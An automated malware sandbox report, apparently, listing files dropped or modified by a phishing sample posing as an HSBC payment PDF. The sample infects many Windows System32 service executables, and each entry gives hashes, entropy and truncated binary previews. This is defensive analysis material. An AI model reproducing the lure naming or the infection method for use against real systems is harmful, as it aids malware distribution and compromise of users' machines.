Preview:	u..XVBURGFQG..YO.WITVI8Y.XUBURCFQGL6YOHWITVI8YOXUBURCFQGL6YO.WITXV.WO.\.t.B..f.^0<h';;1;Y4o;4,;=7f3"lD,!h>'t..ky"71'{_NLuGL6YOHW..VItXLX.x .CFQGL6YO.WKU]HhYO<TBUZCFQGL6W.IWItVI8.NXUB.RCfQGL4YOLWITVI8YKXUBURCFQ.M6YMHWITVI:Y..UBERCVQGL6IOHGITVI8Y_XUBURCFQGL6..IW.TVI8.NX.GURCFQGL6YOHWITVI8YO.TBYRCFQGL6YOHWITVI8YOXUBURCFQGL6YOHWITVI8YOXUBURCFQGL6YoHWATVI8YOXUBURKfQG.6YOHWITVI8Ya,0:!RCFE%M6YoHWI0WI8[OXUBURCFQGL6YOhWI4x;K+,XUB.WCFQ.M6YIHWI2WI8YOXUBURCFQG.6Y.f%,898YCXUBU.BFQEL6Y#IWITVI8YOXUBUR.FQ.L6YOHWITVI8YOXUB..BFQGL6.OHWKTSI .OX..UR@FQG.6YI(.IT.I8YOXUBURCFQGL6YOHWITVI8YOXUBURCFQGL6YOHWIT.4.V..+&..FQGL6YNJTMR^A8YOXUBUR=FQG.6YO.WITaI8YjXUB8RCFuGL6'OHW7TVI\YOX'BUR"FQG.6YO'WIT8I8Y1XUBKPkYQGF..OJ.iTVC8s.+tBUX.GQGHE{OH].VVI<lXUH.QCFU4h6YE.SITR:.YOR.GURGl.GO.OIHWR;nI8SO[.WSRC]{aL4qvHWCT\|o8Z.MSBUIidQE.?YOL}.'KI8_g.UB_&JFQE.<YOL}WV~.8YErw<FRCBzGf.'[HWM.Vc.'ZXUF~Rid/QL6]dH}k*AI8]dX.D.0C4.KLFZ )WIR~.8YEp.BUTClkG28YOLU&.VI2.e.Uj.RC@Qo.6YIH..TVO8q.XUDUz.FQAL.cO`.ITPI..OXSB..C8bGL2uH6dITRb.'~XUF.T;F

C:\Users\user\AppData\Roaming\9624e934681120d9.bin

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.984393411503989
Encrypted:	false
SSDEEP:	384:HnzpEC4LrCCmRrW0BAtRMz2hGbL/XPz5SH3Kcy2pU:Hnz1MrCCmR3JCWXV03KV8U
MD5:	8E5334A950BB89D1A8BCFBC032AF6D90
SHA1:	3D224AEFE036033EE2E48DE2E940FFC609421125
SHA-256:	4DD079089A420A5CE03342C0F980E8648E4EFA6D2E39F000C53DC9C4855A627C
SHA-512:	0CAE7FC193F4EDF4735241A40E38F6159468DAC1D01248C08FFD3A8F3DAF9A86ABB9F2AA3EEE152B11A1CA0547FA2C873E791160671978FE3F8639211EE1CF14
Malicious:	false
Reputation:	unknown
Preview:	... ..\....}..J.i...+q.{tLjNT. .M.......g..A...V.......$..Pw.... /4=U....P..A.z.d.~}.."k.8.%.3....-...EMA..ggVap%..f. ....V...k.S.d.B.~.i...H=b.x."...H..m......S.....t&5..4y...#..]8a&.z.L....CXj..^....;...../...,...1.w#..jy.....Ql..J..q$...cl&.}6.....=..........\|0..u..D...R{.uq.Q".......$y.....^>.^....~t....q......f.c....Z..5~=...#n......{7.=.@.\l...D...b.)Q..@......#......C...XQ..U.A.P........}...h.&,\.........N5Cb.@a...j.!..<}....nXb......N..g.N.....\|..k.$..4{...\|....h....J..SF.QR...&..2.....q.zlL9.r.O$.._...ICsX.j.b.._.Y...c...2<....U.t.a.C..(T.....6n.z..{.D`F.f})e..d.....zb.s.Z../Cv......L..tt.c\....45.. E_...u`..... 2...6.U.P..E.VmK...M..n.....(>N.3........{>.Y.....Y..SZ..b.....c...o.b..^/....F..N....y.3i......ck...y..C.i...^......\|.T...\|5.,..x.i..Y..L.....P..>...$r.w....d.;...PEB\..+.7~........9....r..5...*l/yM....#.WB......_....f.....M.tox...1.w.Wu.:".%;.L@......s.!.3....o.X.........>..N&[.m...O6..y@.B6.O...n,..5

C:\Windows\DtcInstall.log

Process:	C:\Windows\System32\msdtc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	2313
Entropy (8bit):	5.131457057494496
Encrypted:	false
SSDEEP:	48:32qhuhCehuhqfhuhofhuhE2qhuh6987FMx7F/rt57wt+07FKC7867qrT7FoC786n:Z070s0Y0q0mF7Dm5Q
MD5:	2D8B4A253633CBA98E19E27B060A4D83
SHA1:	A8F21CACD324CE3356204409E115BC7F11A7610A
SHA-256:	012B58ADCBE65083D939D330B3163B77137AF4401CC7C97A514ECB9BDC7396BE
SHA-512:	5BE13A1EA0B9619E2DB6B71B8B4043CCE86F943392C7C585193DBA15283ED41CB16BE74C7633D8C2266EBFE7AA43EEFBC16E104B73F8F73C2EFCA1989956E384
Malicious:	false
Reputation:	unknown
Preview:	12-07-2019 09:17 : DTC Install error = 0, Enter MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (367)..12-07-2019 09:17 : DTC Install error = 0, Action: None, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (396)..12-07-2019 09:17 : DTC Install error = 0, Entering CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1700)..12-07-2019 09:17 : DTC Install error = 0, Exiting CreateXATmSecurityKeyCNG, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (1876)..12-07-2019 09:17 : DTC Install error = 0, Exit MsDtcAdvancedInstaller::Configure, base\wcp\plugins\msdtc\msdtcadvancedinstaller\msdtcadvancedinstaller.cpp (454)..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcSpecialize : Enter, com\complus\dtc\dtc\adme\deployment.cpp (2099) ..10-03-2023 08:56 : DTC Install error = 0, SysPrepDtcGeneralize : Enter, com\complus\dtc\dtc\adme\deploy

C:\Windows\Logs\WindowsBackup\WBEngine.0.etl

Process:	C:\Windows\System32\wbengine.exe
File Type:	dBase III DBT, version number 0, next free block index 10240, 1st item "^^\020\"
Category:	dropped
Size (bytes):	30720
Entropy (8bit):	1.1896887515235615
Encrypted:	false
SSDEEP:	48:4z7/5M+TmNcNxPBXPKGVEo/PPoPAPePqFIeansYsSsfmUnV8:2/5M5clCGVEo5ddnm
MD5:	A91949646E07C95FC4295FECDDB62C3B
SHA1:	588532FD0203B6E573667E46B56F74199F224D86
SHA-256:	820D86F906C06738F4E3070657C08F1C36BC8D1EA548962D8000283066FF19A7
SHA-512:	6C0E1DDA9D8BB54F6B99C7606047EFE775B4910EEC59A92DE9CACBCC03186E9AC0474873A30A19014ED97FA1374C2EDC4243FC2417B62E9666FD7C47BE82E14C
Malicious:	false
Reputation:	unknown
Preview:	.(..@...@...........................................!...................................^^.\.............(......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`............8.$!K..........W.B.E.n.g.i.n.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.W.i.n.d.o.w.s.B.a.c.k.u.p.\.W.B.E.n.g.i.n.e...0...e.t.l...........P.P.........^^.\................................................................8.B.^^.\....19041.1.amd64fre.vb_release.191206-1406.....,.@.^^.\...............'"a.-....spp.pdb...........@.^^.\.....T.c..i.\.C.s"8@....vssvc.pdb......./.@.^^.\....W.p.D.......]....vssapi.pdb......-.@.^^.\.....\..Q....T*&.......udfs.pdb........0.@.^^.\......B..,`..9..4.....ifsutil.pdb.....-.@.^^.\....I:...S%9.`...'.R....uudf.pdb........1.@.^^.\...........1$OI"......wbengine.pdb................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\9624e934681120d9.bin

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.984867530157717
Encrypted:	false
SSDEEP:	192:s7SrIK/rP8Em1BjabHOXhnhBe2YKGv/gagzLqB2UCVuHNJIhx4ws4QDlJaH2q2/h:s7pWSNdhsKGFgHqE6IYwzQvaH2q8nlQk
MD5:	C5FDA9C7484A31EEE58179AC234421CA
SHA1:	C9222569B9C16DE38B3830DFB0AC73F2D6621CB6
SHA-256:	3343DCA704483582FD64B490FA13CF4AD0044E39D0319C098E9C027A8227C919
SHA-512:	CF6C5ED3B7F9E093D6F79542B5A31B2486E76F2FBCF1844BD61E72B9E07E8F8A0FFE96E4042F19123EFD790DA4685695715785BC235BC8F90550E934FE113A9E
Malicious:	false
Reputation:	unknown
Preview:	e..~L...%..qJ.Y..D5.........4.:.7....v..b...LZ..\|.T........z5....zL.3W.F".4t.%!.;.r..\%.E$.73.q..C..b.abNE.%Zl.......l9..lx..?)m..y..k...+.....z:X.U..........^..?...\..+.b'.V.......3.G.i..}.>.1.R.X...@..0]...fw...KV.bT.+dh.5..W.....#...q..R@..\..^....<.B).h......E..G...y0G...Y.Z..t.K..:.\|\.;.[..m.~$...."..!0.cV..P.....B-F.w8.}..I....c....8......`..n..p..m":qW.h..vh.Z............ePQ...a,.S.L]o. =-...J....0;.]."k95......p.4b.W..RR.+.....p..g=.zl..b.a.}.w...m..a..m..E.<.e..VoFt.=.39m..+..c.6.NOm.<.G.iJ...k..-...X..s2......n...a.9(.?x..@...6L.[.m.......?E....q.x...B....{......#....b#..\|.....`.Y....L.?;....J,rn.,4-.W.~..{...P.....t.......=s...].Sxv......Q..YXb...u.\&.C..Xll.......>...l6.J..-...S.8.....Bs`:...W..Dq..X....5<.t.....f...Q5j........j..A.7.._.?...q.....R.%..D/.<.6..F..."XK:6{Z.4)..ib.`R....U...0o~.U.&@{.......^.3.}.H. M.tQ0...#..... um.?...-...E.#.......c".@.7..:?)..P..Gy.].2..&..j{q...Eo8$h..N/. l..;YW_...8wI.lu......$-j...*e..V..6.3.

C:\Windows\SysWOW64\perfhost.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1306624
Entropy (8bit):	4.538230049854179
Encrypted:	false
SSDEEP:	12288:HiiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Hk/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	436D2153822038C49A041E9D657F7E2D
SHA1:	97A8FC3379B41652D740154770F5B6C2EEB178DD
SHA-256:	E0ABB4330A8422589222DD99DC007FA17413209DBAB4D4C55096BAE2449275B2
SHA-512:	6B035ECE3C0C2127D9319F5EE6218B5DBAEC0E010C3D5857B68E0B1F743C8C66ABACC008EC43BECFD55C6A107E7DB11E891897BF55E6C07F77B1FED1515E9F45
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+-.~E~.~E~.~E~...~.~E~..F..~E~..A..~E~.~D~.~E~..D..~E~..@..~E~..L..~E~...~.~E~..G..~E~Rich.~E~................PE..L...CY]..................&...,...............@....@.................................O............ ..........................lQ..@....`..................................T............................................P..h............................text....%.......&.................. ..`.data........@.......*..............@....idata.......P.......,..............@..@.rsrc........`.......8..............@..@.reloc...`...........P..............@...........................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\AgentService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	6.967204885640469
Encrypted:	false
SSDEEP:	49152:qwVFr68Vw9wn/6h8p1zid5LNiXicJFFRGNzj3:qwVFrssCnd57wRGpj3
MD5:	7CFA6C3EAA73B924E9F391CE7ED6CFFF
SHA1:	EC2C1DA21CFF35AA4B44164506F3E34721A91825
SHA-256:	DB3A2DCE6A8B4A35C40AB56BD0CF7DFB12F28CF4D80DAF03DEA23283BF834D73
SHA-512:	1C210E123F537377C08D73A00D2AC26819D745022938CD614CDF68F94E95CBB841187CF0289C5F73512BD742FB4C1196F272663C8D786CB0CE6863EF4A026561
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...qq.Bqq.Bqq.Be..Crq.Be..Ciq.Be..C2q.Be..Cfq.Bqq.BIp.Be..C2q.Be.)Bpq.Be..Cpq.BRichqq.B........PE..d.................".................0..........@....................................K..... .......... ......................................X........... ....0...}..................0...T...................(...(...................P................................text............................... ..`.rdata..............................@..@.data...........t..................@....pdata...}...0...~..................@..@.rsrc... ...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Windows\System32\AppVClient.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	1348608
Entropy (8bit):	7.243439755764336
Encrypted:	false
SSDEEP:	24576:vQW4qoNUgslKNX0Ip0MgHCp+MBOuU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:vQW9BKNX0IPgi8MBOuULNiXicJFFRGNf
MD5:	6CEADD1DB47FACFB65E07258640DCDB8
SHA1:	38EEC9A3A708CCBB3C9289EF366D1906CD32244E
SHA-256:	5B2505BF31483499DBF55F976DC91EC8D4405778D19A32130219D6B46D25BEB4
SHA-512:	06B818E80A3ACB10F6212DF7E08CBD70E4CDBF38AF944DAB70E136E08FB94CFD316722520366D0E088136A8DC8B92ABB0E141FD63F4EF416A0535A41E9542004
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@.......................................... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1379840
Entropy (8bit):	4.681777172476258
Encrypted:	false
SSDEEP:	24576:O2G7AbHjkb/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:O2G7AbHjSLNiXicJFFRGNzj3
MD5:	82FD3B21343E884A947B12624BA14B65
SHA1:	74EBD890D183F123679279E16241572BFB02B61B
SHA-256:	B09288552C6F85EF1EC5198A1E3C07C10957662877520651B2E8BA26E94C1D67
SHA-512:	19449541F0FBFC6777AF7C1FCA50964D4263384EFD2B0139626249B96FB8C5C2C71DA04B83AD91B01BD7014A6B5FF6B8A4AB723FE8686F58AA914AD7C047F338
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.............................. ......J.... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...`...........n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.280266378624991
Encrypted:	false
SSDEEP:	24576:HkdpSI+K3S/GWei+qNv2wG3D/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:H6SIGGWei2wG3DLNiXicJFFRGNzj3
MD5:	5DA3CAFF7B6DB6ED124E5F9690E7B126
SHA1:	B2ED8B3ED656B5E5FDA051F415DA1EE5CB60D28F
SHA-256:	0FECD3AB32F7AB8DE77889D2C7B4243B0ADD925045DB2684FE9A75F8982EB8F4
SHA-512:	7A72A77C766188F7BBEFC407A75B4839C50A48136B97902613CC5A4D470260052D28AC2CCF729122EAC4BBD87A43430DE0BBE4ABBCAF7FCB8CE43CD7E4C54B50
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P......B..... ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\Locator.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1296896
Entropy (8bit):	4.515613987304856
Encrypted:	false
SSDEEP:	12288:z2iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:zA/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E30FA2BCFDF4D20217D89B9395BE104F
SHA1:	B84D3B169EE6940277DA26AECF14CEEB6F00BFB7
SHA-256:	CA0EA622049BCDDF47C480A5F39078C5CB3147E505B9211BD09BCBA9E1B10110
SHA-512:	417832139A248E384882519532AB9679CAA8FA501B1153B32F7C5C10B1D6CAE1FE3A183E7B8FDE4AA5AACAEF6CBBD1D807A069EB0BE27DADCF989F21A8923FFC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C."^".q^".q^".qWZ;qL".qJI.p_".qJI.p\".qJI.pO".q^".qy".qJI.p[".qJI.p]".qJIWq_".qJI.p_".qRich^".q........................PE..d...k(............".........."...... ..........@....................................@^.... .......... .......................................&.......P.......@......................0#..T............................ ..............(!..p............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@....... ..............@..@.rsrc........P......."..............@..@.reloc...`...`.......*..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\MsDtc\Trace\dtctrace.log

Process:	C:\Windows\System32\msdtc.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.32139010536246265
Encrypted:	false
SSDEEP:	6:gbyXD8ta/k/uMclF6vMclFq5zr7rsz8gYbOCzE5Zm3n+SkSJkJIOcuCjHu9+G0Xl:bXD80kqF69Fq5zrx6CzE5Z2+fqjFHXl
MD5:	5D3F09112DD1D5BAF458881226B49FF4
SHA1:	50FD83C90BAC19209765DCA1899FBC473AED773E
SHA-256:	701446DD9576AB8EF558C7424DF4FF1AA3A8AE4E154FE13D0430348A28413BD0
SHA-512:	E9591B890CC25E757FBD0172A0C78469B611652E2F975A3028B35FF4DDEB3CB5BAD04EB1F66AEAD12092F60CF9B808F4F5885D85D5F8295F2121D0A7FE12D0B5
Malicious:	false
Reputation:	unknown
Preview:	.@..X...X.......................................X...!...................................e.!S.............@......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`.............X..K..........M.S.D.T.C._.T.R.A.C.E._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.S.D.t.c.\.t.r.a.c.e.\.d.t.c.t.r.a.c.e...l.o.g.............P.P.........e.!S............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\OpenSSH\ssh-agent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1667072
Entropy (8bit):	4.8231786068713625
Encrypted:	false
SSDEEP:	24576:uAL3UTL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:uAL3UnLNiXicJFFRGNzj3
MD5:	56CCD164B03367A0F39A8360E82CB3D1
SHA1:	472F38AAD6B2965A0867A65566DCFE2B8609A76A
SHA-256:	873747021FB8E28F0F2DAA7A055C46BEC243A81E337AC1550E6FA45E6D8BF570
SHA-512:	1221BD8637F11C11DB00593B9D25BC79081883364968FC5F68DAD361F42E9DD66FE193E471DF772A23006E8D1676C1D659BC3A71B02E53473C90201A302AAA2F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D\|.%...%...%...C...%...C...%...C..{%.....%...{...%...{...%...{...%...]...%../L...%...%..6$..&{...%..&{.%...%...%..&{...%..Rich.%..................PE..d.....q^.........."..........:.......i.........@..............................%.....CP.... ......................................................... ..x.......T...................P..p...........................`Q..................8............................text............................... ..`.rdata..............................@..@.data....I..........................@....pdata..T*.......,..................@..@.rsrc...x.... ......................@..@.reloc...`...0......................@...........................................................................................................................................................................................................................

C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1391616
Entropy (8bit):	4.703252925773147
Encrypted:	false
SSDEEP:	24576:KOH/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:KOHLNiXicJFFRGNzj3
MD5:	55154595EBC76876D16839386F302C81
SHA1:	9FBE9DA2C91E79D49AB4BF750722F9EBD0C325A8
SHA-256:	F6F6C3AEA0C463F77AA197FEAAFDB43C51B87BF5519C2CD8181A681EC85B10D5
SHA-512:	A1A6AA7180335A44DB7C0ACDEF399BC46BF7A4063DC0BCCCBE34B90D3C27E4297E6864E03DE5D1FEE7263E9D10ABD4618EB728AF0448B81B340711BE12581CB0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@A...A...A...H.......U...K...U...B...A.....U...F...U...N...U...e...U.t.@...U.v.@...U...@...RichA...................PE..d...6............".................0..........@............................. .....`H.... .......... ......................................Xq..........x............................S..T...................(..(....)..............P...............................text...@........................... ..`.rdata...n... ...p..................@..@.data...............................@....pdata..............................@..@.rsrc...x...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................................................................

C:\Windows\System32\SearchIndexer.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	7.094193200650157
Encrypted:	false
SSDEEP:	24576:Q3frCoQ9tLsiLPLe24CxruW4bIhllL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Q3fIsIPLkCNuVbIhDLLNiXicJFFRGNzb
MD5:	DBC131B4C06BA48B2F21338953515BB3
SHA1:	95FC8894DE2C361EFD0749D5A6D6A2C8BC8B60FC
SHA-256:	5405008D2E960735F7A83216BFAAF3EBA4DA954D0B082D7BDEE922F1DE1A0450
SHA-512:	EED4E61D0F2B656AAF53BFAFC361F8CB0134BEF0F25D6C78AFBC558D9E74315482BE12FA9DCF7378A29A8B6C9442EDADAB0109B3D6D6080E16881B9EC6C16CB2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................z............................................l............Rich............PE..d.................".................0..........@......................................... .................................................HL..........(...........................P...T...................P...(... ........................<.......................text...9........................... ..`.rdata..............................@..@.data....:...........p..............@....pdata..............................@..@.didat.......p......................@....rsrc...(............ ..............@..@.reloc...............*..............@...................................................................................................................................................................................................................................

C:\Windows\System32\SensorDataService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1846784
Entropy (8bit):	6.932723041634829
Encrypted:	false
SSDEEP:	49152:yF2YuHNETovAvNYf8km0LNiXicJFFRGNzj3:76BCf8kH7wRGpj3
MD5:	138460F80D6D680988322149C0DA8337
SHA1:	A49ECB4125467526F003F2603A7C64B756991066
SHA-256:	470A8AA885F76ED252C8780883B9400ECC26450955754A02035FFEC93D454A81
SHA-512:	BD7707DB9E310052923F068209C9DEAEBE03C4E145E9AFDCBD4B93B7DEE8027D23B5E0B6D687613DCA387696FA0FB6B7AD65E79A4FD01AF7C216DACE4FB90B28
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W`............yA.K...j...........j.....j.....j.....j.0...j-.....j....Rich...........................PE..d................."......"...(......@..........@.............................p............ .......... .......................................~..H....`..`........................... t..T...........................0w..............Hx..p............................text....!.......".................. ..`.rdata..P^...@...`...&..............@..@.data...............................@....pdata..............................@..@.rsrc...`....`.......6..............@..@.reloc.......p.......>..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\Spectrum.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.230996176888668
Encrypted:	false
SSDEEP:	24576:1iW6ZvAKF5i/dN9Bde9j9Trk+FH/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:1YxF50b9Bdu9TxhLNiXicJFFRGNzj3
MD5:	A5C5CBD638C50F62E6B1C909D40EA394
SHA1:	035C648D6B299E434AFFCBD42BA03525989AAC1B
SHA-256:	A792CDCC53ACCC9F38E1699F293CBE4678523720351E32A89CB75827090E33A9
SHA-512:	46F3629EB5D1E7E1905818BE8D0D78022083C5319069A18E37ACC066A730D34A5C4B274BCA06B446AA1E9E5AFE69356F5F2A4D11657461DDBCD6DDBE12F39AB0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zq..>...>...>...7h..D...{..4...{..=...>...+...{..9...{..V...{......{n.?...{l.?...{..?...Rich>...........PE..d...)ew..........."................. ~.........@.....................................v.... .......... .................................................. .......@k...................l..T...................@...(...p...............h................................text............................... ..`.rdata.............................@..@.data....8.......*..................@....pdata..@k.......l..................@..@.didat..8....p.......>..............@....rsrc... ............@..............@..@.reloc...............F..............@...........................................................................................................................................................................................................................

C:\Windows\System32\TieringEngineService.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1611264
Entropy (8bit):	5.048868878670084
Encrypted:	false
SSDEEP:	24576:xJnJ5D3WXe/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xJnJ5DGXeLNiXicJFFRGNzj3
MD5:	978A54C9D759FF632658D6B5D6F278B3
SHA1:	4AB50C048C98C90EE9C55BA7871C00712A19F3E0
SHA-256:	457357CA06F1A07A060D09847D642AE7F774D8DF2781B66AAECEF5C297453DD4
SHA-512:	0BA290E087350101E2DE9A1039C8DFBD8A38E996A9591B04E6ADD230417EB6597B7261765DE1C09C709EB07C97DDBBB81BD5CE933691DA051E2BAD541389A9AB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w............nP.....}.....}........Z...}.....}.....}.....}<....}.....Rich............................PE..d................."............................@..............................#........... .......... ..........................................H...............p....................p..T...................h:..(...P9...............:..@... ...@....................text...\|........................... ..`.rdata.......0......................@..@.data...............................@....pdata..p...........................@..@.didat..............................@....rsrc...............................@..@.reloc...`...0......................@...................................................................................................................................................................................................................

C:\Windows\System32\VSSVC.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2075136
Entropy (8bit):	6.729895383765107
Encrypted:	false
SSDEEP:	49152:zPK8mJYTerDjfJ2313e1mP1MdnUtLNiXicJFFRGNzj3:p7wRGpj3
MD5:	AAE3D9BE8A47852DE9975AD94447C6D8
SHA1:	47C6E13A2E122245EDE5D06A97A0F5FD7E03F47B
SHA-256:	4EEB25B011BDE7D241AF1C9E3FFDE975FF52C7679359EE9F83DABED53E6B4D3B
SHA-512:	D926EE9B41BC05EBCBF5B2E312280DCB6B0CEEDD94ED4DDEC9BA5A08070733D36FA5BFD659DBD6A885066D01500BF2B4625020ED229F3ABF4E2A9F43FF3D0D8B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@.e.!.6.!.6.!.6.YI6.!.6.J.7.!.6.J.7.!.6.!.6. .6.J.7.!.6.J.7.!.6.J.7.!.6.J%6.!.6.J.7.!.6Rich.!.6........PE..d...b.Xw.........."......v...f.......p.........@.............................. ........... .......... ..................................................@O...0..lx...................o..T............................................................................text....t.......v.................. ..`.rdata..`\|.......~...z..............@..@.data...............................@....pdata..lx...0...z..................@..@.didat..P............x..............@....rsrc...@O.......P...z..............@..@.reloc..............................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1381376
Entropy (8bit):	4.682163561003341
Encrypted:	false
SSDEEP:	24576:3ne/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3neLNiXicJFFRGNzj3
